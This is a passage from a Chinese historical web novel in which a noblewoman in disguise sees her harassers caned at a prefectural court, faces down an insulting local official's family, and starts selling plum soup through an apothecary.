刘悯安已经这个年纪，若是再不严加看管，以后拖累整个家族都有可能。
判官咽了一口口水，点头称好，派人下去准备稍后用的刑具。
少顷，主持刑罚的衙役抱着六尺长，宽四寸的木板走来。
他生的如怒目金刚，视线在三人身上缓缓扫过，“你们谁先？”
刘文钊：“就从他开始，二十杖，动手吧。”
刘悯安恐惧着摇着头，却被人捂住了口舌，呼救不得。
他被人抬到了架子上，还没反应过来，木板已然重重落下。
“啊——”
一声紧接着一声的痛呼声，让剩下两人瑟瑟发抖。
第十八板的时候，刘悯安晕了过去，衙役停下手上的动作，朝刘文钊看了过来。
刘文钊看着自己儿子血肉模糊的屁股，朝着李意清拱手道：“夫人，您看这？”
李意清声线平静无波：“还差两板。”
刘文钊袖中的手猛地攥紧。
他偏过头，朝着衙役喊道：“继续行刑。”
衙役得到指示，完成了最后两下。
力道到底不比前面十八板用力。
排在后面的宋旭人和高衡此刻更是一句话也说不出来，刘悯安是刘同知的亲生儿子尚且都被打晕了过去，自己若是……
他们很快就没有时间往后想，衙役抱着板子，声音粗犷：“下一个谁？”
宋旭人和高衡纷纷摇头后退。
刘文钊：“随意，快些打完，了了此案。”
宋旭人先一步被拉了出来。
“啊——啊——我不敢了，我再也不敢了，别打我——啊。”
宋旭人的痛呼声一点不比刘悯安弱。
正此时，门外忽然传来一阵喧嚣。
有一个白领衙役匆匆走进来，禀报道：“同知大人，高家来人了。”
缩在角落里的高衡闻言，犹如听闻救星，立刻朝着门外大呼：“爹！娘！我在这里！你们要是再不来，你们儿子就被人打死了啊。”
门外听到动静的高大娘子不知道从哪里来了一身蛮劲，推开挡在门口的衙役，哭哭啼啼地冲了进来，“儿啊。”
她像是捧着什么易碎的珍宝，从上到下仔仔细细打量着高衡，生怕他少了一根头发丝儿。
确认自己的儿子只是头发散了之后，她的心绪稳定了不少，凶狠地回头。
饶是刘文钊见多识广，也被这一刹那的凶光唬住。
高衡伏在高大娘子的怀里，语气委屈畏惧：“娘，我怕。”
高大娘子来的时候已经听府上下人说明事情的来龙去脉，她锐利的视线在满场扫过，最终锁定在李意清的身上。
李意清很确信，自己从未见过她。
高大娘子的心中满是恨意，她一张铺满脂粉的脸挡不住泄露出怨气，一忍再忍，低头看着怀中的高衡，安抚道：“你爹爹正在赶来的路上，衡儿，别怕。等我们传信给你姑姑，自然有人为你做主。”
高衡连连点头。
刘文钊一言不发，旁边的刘悯安似乎有话要说，却反常地话到嘴边，咽了回去。
紧随其后赶到的高学正并非孤身一人，他身后站着差不多十名家仆，步子迈得很大，大有一副兴师问罪的模样。
李意清在他的身后看见了一抹熟悉的身影——高雁卉。
高雁卉也看到了李意清，眸光微闪，不懂声色地避开。
高学正走到刘文钊的身边，朝他拱了拱手：“刘老兄，听说小儿给你惹了麻烦？不知道是犯了什么样的祸事，也让我一道教训教训这个逆子。”
刘文钊皮笑肉不笑地侧身避开这个礼，“令郎的事情，众目睽睽证据确凿，高学正可不要为难本官。”
他刻意加重了“本官”二字。
高刘两家在舒州抬头不见低头见，都算是舒州大户，平日自然有些交际。
高学正想在这个时候攀关系，他却是不敢应声的。
“该怎么罚，就怎么罚吧。”刘文钊这句话是对衙役说的。
高学正上扬的嘴角忍不住下去了几分，他目光沉沉。
“刘同知……”
“高学正！”刘文钊率先一步抬高声音，语气凌厉，“本官依法办案，还请学正不要干涉。”
衙役见两人分出高低，立刻朝着高衡走去。
高大娘子感受到高衡的颤抖，立刻像一个发狂的母兽，将他护在自己的身后。
“滚，都滚远点，别靠过来！”
衙役无从下手。
刘文钊看着一旁安静、从容的李意清，又看见默许高大娘子护崽行为的高学正，冷笑一声，“看来这个案本官是断不了了。来人，去请知州。”
李意清抬眸，轻抿唇角，并没有说话。
场中三足鼎立之势，高学正和高大娘子将高衡护在身后，刘文钊背后是刘悯安和宋旭人，剩下的李意清站在门边，和剑拔弩张的气氛格格不入。
高学正看着刘文钊，心中有万千问题想要脱口而出，可是临到嘴边，又自动消声。
醒来的刘悯安和宋旭人依偎在一处，他们紧张地打量场上的气氛，
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见到高衡完好无损蜷缩在高大娘子的怀里，默默咬碎一口牙。
宋旭人反应尤甚，他目光期待地环顾场中，可是一个宋家人都没有出现。
这是早就预料到了的，可是被亲眼证实，还是忍不住泛起一抹酸涩。
或许家里人还不知情。又或许，知道了，也就只值得一句简单的“哦”。
宋旭人不再多想。
李意清站得远了，腿脚有些发酸，微微倚靠在毓心的身边。
刘文钊眼皮一跳，立刻吩咐旁边的衙役去端长凳出来。
“元夫人请坐。”
李意清颔首，刚要落座，忽然看见高大娘子朝这边扑了过来。
洛石眼疾手快，一脚横亘在两人中间，构成一道障壁。
刘文钊急得跳起来：“拦住，快点拦住她！”
几个衙役慌乱上前，可是怒气上涌的高大娘子硬生生用指甲划破了好几人的手背，留下血痕。
高大娘子在挣扎中被架了起来，她盯着李意清，忽然嗤笑一声：“我儿到底没将你怎么样。况且能被他看上，是你家几辈子修来的福气。自己穿的不检点，怨不得我儿多看一眼。”
毓心：“你再说一句试试？！”
高大娘子：“说就说。像这样的贱胚子，送到我家来做妾都不配，只配当个洗脚的贱奴……”
“啪——”
她的话音未落，脸被打偏向一边，发出火辣辣的疼。
李意清活动着手腕，居高临下，冷冷地注视着高大娘子。
高大娘子愣了几秒钟才反应过来自己被打了。
半响后，她发出一声惊天动地的咆哮，朝着李意清怒吼出声：“你敢打我？你竟然敢打我？”
李意清平静地在她另一边脸庞也来了一下。
左右对称。
“啊——！”
毓心心疼地看着李意清的手，“姑娘，以后若是有这样的事，交给奴婢就是了。”
毕竟李意清的手早晨才刚上过药，这样两耳光，伤到手腕就不好了。
再者，她的手金尊玉贵，也不知道这扇人的技巧，虽然看着解气，可是掌心也会作痛。
不如让她来，干净利落。
李意清：“无妨。”
高大娘子疯狂大吼：“你这个贱人！小蹄子！竟然敢打我。你知道我姐姐是谁吗？她可是淮南西路安抚使的二娘子。你伤衡儿在前，打我在后，等我姐姐赶到，我要将你碎尸万段！”
毓心冷哼一声。
李意清看着她癫狂的神色，忽而莞尔。
她本就生得明艳无双，一笑更是如万千繁花绽放刹那，惊艳而昳丽。
连带着死狗一样瘫在地上的高衡，也忍不住咽了口口水。
李意清薄唇轻启，语气慵懒：“是吗。我真是害怕呢。”
站在一旁装死已久的高学正终于站了出来。
高学正生得一副读书人模样，气质远观儒雅随和，因着怒容，读书人的温和被削减大半。
他站在高大娘子的面前，目光扫过高大娘子微微泛红的脸庞，眸子沉了几分。
“姑娘，我家娘子即便言语冒犯两句，你又何至于动手打人，伤了她的颜面。我看你年纪也不大，竟然不知道体恤长辈，想来你家中父母懈怠，不曾好好教养。”高学正一身青衣长袍，站在李意清的面前，语气冰冷。
115. 逆天高家
刘文钊在旁边听得心惊胆战。
别人不知道李意清的身份，可是他接到公文，知道这位的来历。
此刻，刘文钊忽然觉得团练使宋瑞成真是一条老狐狸，知道这淌浑水不好踩，干脆直接弃子保帅。
刘文钊在心底暗唾一声，看着高学正义正言辞的模样，无数次想要伸手让他少说两句，可又怕惹祸上身，伫立不动。
元辞章他尚且还敢直言一二，可对李意清，不看僧面看佛面，即便是他，也不想轻易得罪。
高大娘子这张嘴啊。
另一边，李意清听到高学正的话，只觉得可笑至极。
她面对高学正，丝毫不气虚，吐字清晰道：“高学正这番话说的好笑，你既然知道她冒犯我在先，便不应该来仗着长辈的年岁压我一头，而是劝自己的娘子多积口德。其次，你言语之中辱我双亲，恕我不能接受，请你道歉。”
高学正像是听到了什么笑话一样。
“给你一个女娃娃道歉，哈哈哈，”高学正眼底含笑，声音讥讽、越来越冷，“你也真是好大的脸。连这舒州的知州都要给我两三分薄面，你有算个什么东西？”
洛石已经按捺不住自己想要出拳的冲动。
李意清伸手搭在洛石的肩膀上，淡淡道：“天下万民，不论是王孙公子，还是平头百姓，所行所按，皆是大庆律法。高学正身为舒州府学的学正，应当比我更明白才是。”
“大庆律法？”高学正像是听到了笑话，“你一介妇人，能知道什么好歹，你识得几个大字，胸中有几分笔墨，说出这样大逆不道的话。一介妇人，上无尊老之心，下无容人之量，不在家相夫教子反而不守妇道抛头露面，与你多说一句话，都是玷污了圣贤书。”
李意清刚欲开口，忽然从外传来一声低哑、略带疲惫的声音。
“本官看，玷污圣贤书的，另有其人。”
这声音虽然带有疲惫，却在温和悦耳中自带一分凌厉，散发不容抗拒的威严。
总算来了。刘文钊心底松了口气，率先朝来人方向俯身作揖：“知州大人。”
高学正一噎，随后也纷纷跟在众人身旁施礼。
高雁卉站在最后，抿紧了唇，目光闪烁。
原来这人，就是新上任的舒州知州。
元辞章走到李意清的身前，确认她没有受伤后，带着歉意道：“抱歉。”
李意清摇了摇头：“我没事。”
两人简单交谈后，错身而过。元辞章走到判官的面前，拿起公文。
高学正上前一步：“知州大人，下官是舒州府学的学正。这位姑娘在街上无缘无故构陷犬子在先，动手殴打糟糠之妻在后。是可忍熟不可忍，下官请求知州大人为草民做主。”
元辞章垂眸看着手中的公文，听到高学正的话，连眼皮都没有抬。
高雁卉看呆了，不同于那日的常服，今日的官服穿在他身上更显清峻疏离。
面如冠玉，气质矜贵，就连眼睫垂下的弧度都让人心动不已。
高学正被元辞章晾在一旁，也不气馁，重新复述了一遍，而后抬高声音道：“求知州大人做主，还下官妻儿清白。”
元辞章看完公文，抬眸冷淡地扫过高学正。
高学正情不自禁后退一步。
“令郎街上言行无状，满街人有目共睹，学正想来口才了得，颠倒黑白张口就来。”
元辞章的音色偏冷，嗓音低沉。
高学正：“……纵使我儿有错在先，可是到底没造成什么损失。可她伸手打了我的娘子，这可是众人都看见了的。”
元辞章扫过场中众人：“怎么回事？”
坐立不安的判官和主簿小心翼翼道：“是，是这位娘子先冲撞上来的，听她言谈之中，说是姑娘行为不检点……姑娘这才动手。”
元辞章视线落在了李意清的衣袖边。
判官接着道：“这位娘子虽然先恶言相向，但是这位姑娘的行为也很不妥，府衙之中说打就打，目无法纪，两人，应当同罚。”
他的声音在知州的凝视下越来越低。
高学正立刻附和：“确实，府衙之中，刘同知都没说什么，她却抬手打人，丝毫不将知州、同知放在眼底！”
元辞章淡淡反问：“所以你们是要我，罚她吗？”
判官：“……是。”
“荒谬。什么时候维护自身，都需要忍气吞声还要接受刑罚了。”元辞章忽然出声，声音带着薄怒，“判官这律法，可真该好好再学学！”
知州发怒，场上瞬间安静下来。
判官声音断断续续：“是……是下官学艺不精。”
元辞章见威慑住了众人，转身示意一旁待命的衙役，语气平淡：“继续行刑。”
衙役不再有顾虑，架着高衡就抬到了行刑架上。
木板打下来的声音沉闷有力，高大娘子受不了这个刺激，晕了过去。
等十五大板打完，高衡也和晕过去差不离了。
元辞章只看了一眼就收回视线，这三人年纪轻轻已然有了将军肚，沉浸声色，这十几大板，够他们痛上一阵子了。
高学正憋着气，瓮声道：“知州大人罚也罚了，现在我们总能走了吧。”
元辞章：“高衡可以。你们不行。”
高学正：“为什么？”
元辞章目光冷淡，“高学正看样子记性不太好。你和你夫人涉及辱骂他人，按大庆律，杖责十下抑或取得谅解。”
高学正刚欲开口，沉默了半天的刘文钊忽然伸手拦住他，替其发问道：“若是写认错书，夫人可否大度原谅？”
“你……”高学正本欲争辩，却被刘文钊死死按住。
元辞章和李意清图清净，不主动暴露身份，这对他们来说是好事。
若是还不肯就范，李意清亮明身份，治高氏一个大不敬的重罪又算得了什么。
说不定，还会牵扯到上头的人。那时候，可就难收场了。
李意清：“可以，一码归一码，若是足够诚心，于府衙外悬众公示三日，我既往不咎。”
刘文钊代高学正应下，“夫人放心，明日之内，必然贴上府榜。”
打也打了，罚也罚了，李意清看着元辞章，嫣然一笑。
等回去后，再将卢家娘子和高学正的事说给他
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。
李意清离开后，元辞章也没有久留，他扫了一眼受刑的三人，吩咐衙役将其抬了出去。
等人走得差不多了，高学正才对刘文钊道：“你拦着我做什么。区区一个知州，我能怕他不成？”
刘文钊一言难尽地看着高学正，嘴唇蠕动，手拍了拍他的肩膀，“高老弟，这次你就听我的吧。今晚务必和夫人写完认错书。”
说完，他不再多言，也转身离开。
刘文钊顾忌着高学正的妻姐，提醒到这个地步，已经做的足够。等日后元辞章调走，他对安抚使也有个交代。
身后，高学正却从刘文钊的反应中终于明白过来——原先站在那里的，和新上任的知州，是同知都得罪不起的存在。
高学正心底隐隐约约有些后悔，怎么今日就被气昏了头脑。
站在一旁沉默许久的高雁卉有些犹豫。高学正一向因为她和姐姐是女儿身而看不上她，她在家中，对父亲的畏惧远远大于尊敬。
况且前不久，她还曾与人私奔。
只是那个人只会花言巧语，她拼命逃了出来，获救回到家里。
高大娘子还算维护她，可是高学正却因此对她再无一个好脸色。
高雁卉看着自己父亲略显失魂落魄的背影，又看着一旁的娘亲和弟弟，鼓足勇气走到高学正的身边。
“爹爹。”
高学正正在气头上，闻言回头瞪她。
高雁卉竭力平复着自己的心跳，放轻自己的声音：“爹爹可还记得，我一个多月前曾经被人救了。”
高学正语气很不好：“没看见现在这么多烦心事吗？你现在提这晦气事做什么。”
高雁卉：“爹爹，救我的人，正是方才的那位新知州。”
“……你说的是真的？”高学正连忙问道。
高雁卉肯定地点头，脸上浮上一抹羞红，似乎有些不好意思开口：“那日我衣裳褴褛，多亏知州大人悉心照拂，得知我住在府城，随后就谴了身边的仆从送我回家。”
言辞之中，丝毫没有提及李意清。
高雁卉当日被救时有多狼狈，今日就有多厌恶李意清。尤其是看见李意清不染尘埃坐在一旁，她就会想起那一日的衣裳不整，跌入尘泥。
这件事在她心底长了一根刺。
高学正没有在意女儿闪动的眸光，语气急切道：“那你看知州的意思……”
“自然是对我有意的，”高雁卉羞涩一笑，似乎不好与人多谈，稍顿，她眉眼染上一抹浅淡的愁绪，“只是知州已经有夫人了，我怕是……”
“这有什么，”高学正丝毫不在意，“新知州已然弱冠，家中有妻室不足为奇。你要抓住这次机会，攀上这位新知州。”
高雁卉就等这句话，但是在父亲的面前，她还是将这副小白花的样子演了个全：“可是他的正妻……”
“就算他的正妻美若天仙，可是男人嘛，就没有不好野花的，”高学正用一种笃定、过来人的语气嗤笑一声，“你想想你的姨母，虽然是二娘子，可是要宠爱有宠爱，要权势有权势，过得比正头娘子都要体面。你是我的女儿，自然不能屈居人下。”
116. 乌梅汤
高学正说完，终于正眼打量着自己的女儿。
高雁卉长相清丽，略施粉黛，确实有几分美貌。
此刻她捏着手帕，眼眸轻垂，我见犹怜，很容易就激起男人的保护欲。
高学正伸手勾起高雁卉的下巴，“我的女儿天生丽质，这点小事，自然不在话下吧。只要你能拿下知州，从前种种，一笔勾销。”
高雁卉能清晰得听见自己的心跳。
十多年的遵从使她不敢对自己的父亲有丝毫的反抗，她嘴角勾起一抹笑，声音温驯：“女儿定然不会让爹爹失望。”
*
李意清离开府衙后，回到了上午去的药材铺子。
药铺掌柜一边磨着药材，一边时不时探头朝街道两侧张望。
这都过了三个时辰了，怎么还不见那位姑娘回来。
药铺掌柜想到去年的事，心往下沉了几分。
就在他胡思乱想的时候，忽然一道身影遮住了朝他方向落下来的阳光。
洛石双手撑在架子两端，额头上的汗珠在阳光的照射下发着光亮，他低头看向掌柜，嘴角咧开一个笑，声音轻俏洪亮：“掌柜的，药材准备好了没有？”
掌柜愣了一瞬，才看见他身后站着的李意清。
他脸上飞快浮现一抹红晕，站起身来：“姑娘！”
李意清记着方才药铺掌柜的维护之情，她走到近前，朝掌柜道：“掌柜，不知道我需要的药材？”
“都已经准备妥当！”药铺掌柜立刻将包好的药材取出来递给李意清，然后有些担忧地开口，“姑娘此去府衙，没事吧。”
李意清：“自然没事。这些药材很好，谢过掌柜。毓心。”
毓心上前两步，将所需的银钱递给药铺掌柜。
药铺掌柜满面笑容地收下钱。
李意清走远几步，忽然转过身，“这些药材够熬不少梅汤，此物清暑散热，若是掌柜不介意，可否熬制成后在药铺旁边兜售？”
药铺掌柜知道那张药方的价值，听到李意清主动将梅汤寄放在自己药铺，眼底闪过一丝喜意。
他本以为李意清会自己盘下店铺，经营这项生意。
“自然可以！不过姑娘若是准备好，请先提前告知一声。还有就是，需要我们先尝过。”
李意清：“这是当然。”她心中估算了一下日期，笑意浅浅，“那便暂且定在明日辰时三刻。分成比例，明早见面详谈。”
药铺掌柜颔首应好。
回到清风居后，李意清将买来的甘草、乌梅、薄荷、陈皮、枸杞和洛神花清洗干净。药铺掌柜用纱布袋装起，等洗干净后，直接放回去即可。
放入凉水中浸泡一炷香的功夫，然后一起移到大锅中慢慢熬煮。
火用的最小火，慢慢吊着，不一会儿，李意清就闻到了乌梅汤的清香。
洛石正在隔着布敲老冰糖，刚一敲完，就忍不住眼巴巴地看着李意清。
“殿下，什么时候能喝啊？”
李意清笑：“还得等上一会儿。晚些乌梅汤好了，你给滕夫人送一些过去。”
“我听到有东西送我？”
滕夫人刚好牵着滕荇走进院子，远远地听到李意清的声音，笑着抬高声音道。
她已经九个月身孕，临盆在即，行动不便。
李意清连忙上前两步扶住她：“你都九月了，还怎么还乱走动？”
滕夫人道：“你怎么和刘阿婆一样，这不许那不许，我要是再不出来转转，可真是要闷坏了。荇儿，不可以吃。”
一旁的滕荇进屋之后，就直挺挺冲着洛石跑去，洛石往她手中塞了一颗小小的碎糖。
滕荇用一双小狗眼安静地看着滕夫人。
腾夫人没被她装乖的外表糊弄过去，她一双眼眸似笑非笑，语气不容质疑：“你正在换牙，等后面疼了，看你找谁哭去。”
滕荇垂下了头，从李意清的视角看过去，只能看见她毛茸茸的脑袋。
洛石在旁边无奈地耸肩，见滕荇小嘴一撇，立刻慌了，连忙做鬼脸逗她开心。
滕荇毕竟年幼，好哄得很，被洛石挠了几下，立刻咯咯笑出声。
李意清招呼腾夫人在旁边坐下。
乌梅汤的香气通过盖子上的孔冒了出来，腾夫人有些惊讶地看着李意清，“这是什么？”
“这是我喝过的一种饮子，今日初次尝试，也不知道能成不能成。”李意清莞尔，“等下滕姐姐尝过，告诉我味道如何才好。”
滕夫人早就想吃口酸味，闻到翻滚的乌梅汤味，笑：“这汤我都不用喝，就知道定然好。”
两人说话的功夫，日头一点一点落下去。
小火慢熬了两个时辰的乌梅汤，散发出诱人的香气。
李意清拿起一旁的厚布，包裹着盖柄提起来，将敲碎的老冰糖加了进去。
滕夫人看得啧啧称奇，“这茶汤颜色红褐透亮，没有一丝杂质，真是神奇。”
“现在只需等余温将冰糖催化，等凉些的时候，就能喝了。”
滕荇玩累了，走到滕夫人的身份。可是又想起娘亲现在有孕抱不了她，又小步走到李意清的身边。
“抱——”
她的声音软软糯糯，无论说什么都像是在撒娇。
李意清连忙伸手，将她小心地圈在自己的怀里。
洛石在旁边欲言又止。
滕荇伸手扒拉着李意清的手，她的手下，费了不小力气才将李意清的五指一一掰开。
李意清：“做什么啊？”
滕荇朝她甜甜一笑。
一旁的滕夫人意识到自己孩子没安好心，连忙道：“意清你别……”
她说晚了一步。
李意清一脸茫然地看着掌心的蚂蚱，愣了两秒，才反应过来什么东西停在了自己的手上。
滕荇浑然没有察觉到李意清对这种虫子的恐惧，笑眯眯道：“找了好久好久呢。”
李意清强忍着想要惊呼出声的冲动，转头看向洛石：“洛石，拿走。”
她甚至能感受到掌心上细而有力的蹬腿——这是一只活的、会动弹的蚂蚱。
等手上的蚂蚱被拿开，李意清才松了一口气。
可手上的感觉并没有随之一起消失。
毛毛的、痒痒的。
李意清站起身，“我先去后院洗手。”
滕夫人一脸惭愧，“抱歉，是我没有看好这孩子。”
李意清勉强露出一抹笑：“没事，小孩子嘛。”
她去后院洗完手回来，看见滕夫人正在教训滕荇。
滕夫人：“刚刚怎么教你的？”
滕荇小心
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翼翼地看着李意清：“对不起，是荇儿错啦，荇儿不应该随便抓虫子。意清姐姐，不要生我的气呀。”
白软可爱的小姑娘一本正经的道歉，李意清一瞬间就心软了，笑着道：“没关系呀，原谅你了。”
滕荇这才重新露出一个笑，她凑到李意清的身边，声音细细软软：“那姐姐喜欢什么？小蝴蝶，还是小蜻蜓？我都可以给姐姐抓来。”
李意清：“……谢谢，不必了。”
滕荇：“好吧。”
闹剧过后，锅中的乌梅汤也凉了下来，毓心端出瓷碗，每一碗盛上一些，放在桌上。
李意清先尝了一口，入口温热，甜度正好。
滕夫人早就被这乌梅汤勾起馋虫，见李意清神色满意，立刻端起浅尝。
入口是一阵透顶的沁凉和酸爽，冰糖的甜味很好地中和了乌梅中的酸味，外加甘草陈皮薄荷，喝来酸甜可口，开胃消暑。
滕夫人将碗中乌梅汤一口气喝尽，朝李意清点点头。
“好喝，这汤如果再凉些味道更佳，可是根本忍不住。”
“好喝就好，毓心，你盛一些给滕夫人带回去喝。”
满满一大锅汤，给了滕夫人，留下自己要喝的，少说还有七八斤。
滕夫人：“那我就不客气了。子鹤昨日回来，带了不少槐蜜和酱鸡子，等下你让毓心去我那儿带些回来。”
李意清刚认识滕夫人的时候就听说了滕子鹤的名字，可是他似乎很忙，一直在各地奔波经商，很少归家。
“你夫君……”
滕夫人点点头，眼底漫上一抹笑，“他从黔州回来了，不过这一趟辛苦，他惯要在家中睡上一日的。等明日他精神好些，晚点带他一道来拜访。”
天上已然不见光亮。
滕夫人喊住在菜苗中乱走的滕荇，辞别归家。
元辞章正好从府衙归家，门口正好碰上。
他朝着滕夫人微微颔首示意，而后越过她，走到李意清的身边。
滕夫人走后，李意清的坐姿更慵懒了几分，她看着元辞章笑：“夫君回来得真巧。尝尝？”
元辞章从善如流，端起桌上的乌梅汤。
“好喝吗？”李意清心中对乌梅汤的味道有数，可是看着元辞章滚动的喉结，忍不住再问了一遍。
她想听元辞章的夸赞。
“好喝。”元辞章没有吝啬自己的夸奖，“从前宫宴中也有乌梅汤，却没有一碗能像这一碗甜润沁凉。”
李意清嘴角勾起，显然心情很好。
滕家就在隔壁，很快，毓心将拎着槐蜜和酱鸡子回来了。
槐蜜在罐中尚且气味不明显，可是酱鸡子则是一股浓郁的酱香味飘来，李意清午饭没吃，现在到了晚饭点，早已经饥肠辘辘。
她伸手拿出一枚酱鸡子，伸手剥除外壳，咬了一口。
顿时，卤味的浓香在唇舌之间迸发。
酱鸡子就是卤味的鸡蛋，煮熟后的鸡蛋轻敲至布满裂纹，而后放入卤料包中慢煮，最后就成了一道简单而好吃的美食。
滕夫人送来的酱鸡子卤味浓厚，蛋白裂纹均匀整齐，内里蛋黄入味三分，怪不得能成为其夫君滕子鹤奔波多地仍旧选择的伴手礼。
配上几道应季的清炒小菜，盛上一碗梗米白饭，李意清吃得心满意足。
117. 冬瓜盅
饭后，元辞章沐浴完换了一身常服，等李意清沐浴完毕，坐在院中的树荫下给她打扇。
夏日的夜晚有凉风习习，躲藏在树中的蝉鸣渐渐微弱，后门池塘里的蛙叫声喧嚣起来。
茴香正在院中跳着蹦着打蚊子，掌心拍得通红。
毓心拿出一个小炉，撒上草药灰点燃，放在了院子的角落。
看着繁星纳凉是一件美事。李意清窝在躺椅之中，潮湿的长发垂落而下，时不时汇聚一滴水珠，掉入地里。
元辞章放下手中的羽扇，拿起桌上的布帛抿干她的长发。
他的手法熟练，李意清半眯起眼眸，显然很是享受。
“对了，”李意清想起白天的事，偏头问元辞章，“白日里你神色不对，是发生了什么大事吗？”
她鲜少看见元辞章露出那样疲惫的神色。
元辞章：“今日白崖县知县找我，说是县里发生多起人口失踪的案子。上至十六岁，下至三岁，男女皆有。”
白崖县的知县本来想隐瞒，可是失踪的人越来越多，他迟迟未能破案，这才主动找到了知州。
三到十六岁，年纪跨度广泛。
李意清：“那其他县里？”
“尚不明确，等明日交接府衙事务，我带几人去底下县村巡视……大概需要四五日才回。”
六七月正是农忙时，家家户户下田劳作，家中的小孩无人看管，只怕到了那时，这种案件会越来越多。
李意清小声地嗯了一声。
*
第二天早起，李意清将熬好的乌梅汤送去了药材铺。
药铺掌柜早早站在门口等候，他取出竹舀打出一碗尝了，眼睛猛然变亮。
李意清看他反应就知道这事已经成了大半。
药铺掌柜摩挲着手中的碗，试探问：“姑娘想定价几何？”
李意清不是为了挣钱而来，她对舒州的了解没有掌柜深，于是问道：“掌柜以为？”
“两文钱一碗，这些看着能有个三十碗左右，统共算起来，大概在六十文钱。不知道姑娘打算让我买断，还是分成？”
李意清没有立刻回答。
药铺掌柜道：“买断，自然不能这个价钱，三十五钱买断，以后姑娘可以选择继续卖给我，或者卖给他人。若是分成，则可以考虑长线合作。以后每卖出三碗，你赚五文钱，我赚一文钱。”
李意清：“掌柜更倾向于哪一种？”
“自然是后者，”药铺掌柜在舒州经营多年，这点眼力还是有的，他认真道，“姑娘的乌梅汤一旦开售，必然极受欢迎，我自然想和姑娘长期合作。”
“那便按照掌柜的意思。”
昨日买的药材一共花了三十文，按这样的定价，她能赚二十文，药铺赚十文。
二十文算不上多，只够买上一些新鲜的蔬菜，肉都称不上一斤。
即便是府城人家，也不是顿顿都吃的上肉。
李意清讲求有荤有素，自然不会用菜糊弄糊弄又是一餐。况且家中的洛石茴香都是馋虫，无肉不欢，若是供应不上，能闹翻天。
看来若是想不动田产铺子的收银，还需要想些别的法子。
李意清算得很快，确认后，朝掌柜点了点头。
达成合作，药铺掌柜松了一口气。
东西交接完毕。两人约定隔日早晨结账后，李意清转身离开。
她还要去看一眼府衙门口的悬榜。
走到府衙近前，稀稀疏疏围着几个人。
高学正和高大娘子的认错书赫然贴在最上面，没讲求什么遣词造句，只笼统概括了昨日之事。
道歉的篇幅占据不到十分之一。
可这十分之一就足够让围观的几人震惊了——
“这可真是太阳从西边出来了，高学正居然还会道歉，不过这位元夫人又是何方神圣？连真名都不显现于人前。”
“管她露不露真名，这么多年了，总算有人能治一治这高学正了，快哉快哉！”
……
李意清在旁边的默默听着，像一个事不关己的路人，扫了一眼，转身离开。
八月秋闱在即，州试是一年一度的大事，她不会选择这个时候动高学正，却不代表以后不会清算。
百姓容易满足，可是她不能。
往回走的路上，洛石道：“往后两天，我每天都要过来看一眼。”
李意清随他。
两人回到清风居，像昨日一样将今日带回来的药材放在凉水中浸泡，开火熬制。
毓心和茴香听李意清讲述和药材铺达成的合作。
毓心：“好是好，就是太累了些。殿下志不在赚钱，不然只需要几幅字画，就能赚下不少。”
茴香：“平常百姓不舍得花这个钱，富贵人家买来也只知道附庸风雅。殿下还是不卖的好。”
两人你一言我一语。
李意清心中默默赞同，她熬制乌梅汤只是为了便宜百姓，若是想在舒州收支相抵，还需要想些别的薄利多销的法子。
锅中的水沸腾，咕噜咕噜冒着泡。
李意清忽然想起来太医给自己写过的食补药膳。
那本后来被毓心整理成册，又添加了一些王太医传授的方剂。
李意清和毓心描述了一个大概，毓心有了印象，“应该是带了的，我去后院的库房找找。”
毓心转身离开，在后院好一通翻找，才抱着一本有着皱巴的册子回来。
“殿下您瞧瞧，是这个吗？”
李意清接过，随手拿了身边的帕子擦去上面的灰尘，翻开几页读完，欣喜道：“是这个！”
毓心和茴香也被她脸上的笑意所感染。
午时未到，院中有暖风吹过，树上蝉鸣不止。茴香和毓心托腮坐在后面，看着李意清一页一页看过去。
每一页，李意清多停留一会儿，考虑再三。
渐渐地，院中只剩下纸张翻动的声音。
李意清不慌不忙，舒州不沿海，比起周边也不富裕，有一些昂贵的滋补品并不适用。
而宫中常见的促进食欲的汤剂，如平胃散，也不适用于卖给平头百姓。
普通人家的百姓巴不得一天能少吃两口，哪里会遇到不想吃饭这种困境。
李
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意清看得仔细，左挑右选，选中了温胆汤。
这是一种可以缓解病后胆寒不得眠的汤药，最早是由前前朝宫廷医师姚僧垣所撰写。姚僧垣二十四岁始承家业，后被梁武帝召入皇宫得到赏识，任殿中医师、太医正等职位。这剂温胆汤就是出自他编撰的医书《集验方》。
和乌梅汤一样，几乎所有的药材熬制，都需要用水浸泡一炷香到半个时辰不等，以便药性更好地溶出。
李意清之所以选中此方，除了可以和药铺更好地结合，也考虑到了药材都是寻常物件，方便收集这一点。
“半夏、竹茹、枳实，陈皮和甘草，外加生姜少许。”李意清将这一页书折角，默背一遍，记住用法用量，准备明日采买回来。
毓心看李意清心中有了决断，抬声喊道：“殿下，吃饭了！”
“这就来！”
李意清将书卷起，放在躺椅上。
午时天热，会将正堂中吃饭用的桌椅搬到正院的树荫下，透透风。
今日的午饭有李意清心心念念的冬瓜盅，里面煲着一只老鸭。
一揭开盖子，浓郁的香味铺面而来，直冲味蕾。
加上一碗丝瓜汤和肉煸豆角，以及一串集市上新买的枇杷，组成了今日的午饭。
李意清喝了一碗鸭汤润肺，吃饭的时候，忽然想到了在府衙的元辞章。
府衙的菜色还不如京城六部的伙房，等去了周边县城，吃的只会更差。
李意清没有说，她有一点心疼。
没有那么疾风骤雨，只是忽然像是被针扎到，短暂而尖锐。
饭后，大锅中的乌梅汤也已经煮开，撒入碎冰糖后，等凉了就可以喝。
李意清将要送去药铺的一部分留存完好，将剩下的分成三部分。一部分留在家中饮用，另一部分准备在滕夫人和滕子鹤来访的时候送出去。
最后一小份准备送去给刘阿婆，这几日事忙，她已经好几日没有去看望了。
和茴香打了一声招呼，李意清就到了隔壁院子。
刘阿婆正在门前的菜畦洒水。她身形佝偻，很费力地将坛子里的水端到前院。
虽然辛劳，但是精神远非初见可比。
“刘阿婆。”李意清唤了一声，将酸梅汤放在一旁，看着刘婆婆新开耕出的两垄菜地，笑着道：“阿婆想种什么？这个季节胡瓜上市，但是要种也来得及，还有豆角苦瓜……”
刘阿婆忽然道：“萝卜。”
这是刘阿婆第一次提出自己的意见。
李意清怔了一下，才反应过来真的是刘阿婆在和自己说话。
刘阿婆重复了一遍，“就种萝卜吧。等入了冬，可以炖猪肉萝卜汤。”
李意清：“好啊，等明日上街，我帮阿婆带一些回来。”
刘阿婆露出一个笑，汗水顺着她灰白的鬓发滑落，滴落麻灰色的布衫。
李意清盛出一碗乌梅汤，送到刘阿婆的手边，“阿婆，先坐下喝完汤吧。”
刘阿婆“哎”了一声，接过李意清递过来的碗。
她喝了两口，眯起了眼睛，发出低低的感叹：“真甜啊。”
